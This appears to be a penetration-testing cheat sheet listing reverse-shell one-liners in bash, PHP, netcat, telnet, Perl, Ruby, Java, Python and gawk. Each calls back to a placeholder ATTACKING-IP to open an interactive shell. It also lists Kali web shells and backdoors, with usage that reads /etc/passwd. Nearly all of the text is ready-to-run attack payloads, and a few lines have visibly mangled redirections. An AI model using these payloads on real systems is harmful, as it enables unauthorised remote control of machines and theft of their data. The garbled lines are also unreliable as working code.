During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

[email protected]:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
NAT requires a port forward

If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done  

# or:

while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

A useful PHP reverse shell:

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Netcat Reverse Shell

Useful netcat reverse shell examples:

nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Kali Web Shells

The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

Kali PHP reverse shells and command shells:

Command Description

/usr/share/webshells/php/
php-reverse-shell.php

Pen Test Monkey - PHP Reverse Shell

/usr/share/webshells/
php/php-findsock-shell.php

/usr/share/webshells/
php/findsock.c

Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80

/usr/share/webshells/
php/simple-backdoor.php

PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-
backdoor.php?cmd=cat+/etc/passwd

/usr/share/webshells/
php/php-backdoor.php

Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells

The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

Kali perl reverse shell:

Command Description

/usr/share/webshells/perl/
perl-reverse-shell.pl

Pen Test Monkey - Perl Reverse Shell

/usr/share/webshells/
perl/perlcmd.cgi

Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

Kali Coldfusion Shell:

Command Description

/usr/share/webshells/cfm/cfexec.cfm

Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

Classic ASP Reverse Shell + CMD shells:

Command Description

/usr/share/webshells/asp/

Kali ASP Shells

Kali ASPX Shells

ASP.NET reverse shells within Kali:

Command Description

/usr/share/webshells/aspx/

Kali ASPX Shells

Kali JSP Reverse Shell

Kali JSP Reverse Shell:

Command Description

/usr/share/webshells/jsp/jsp-reverse.jsp

Kali JSP Reverse Shell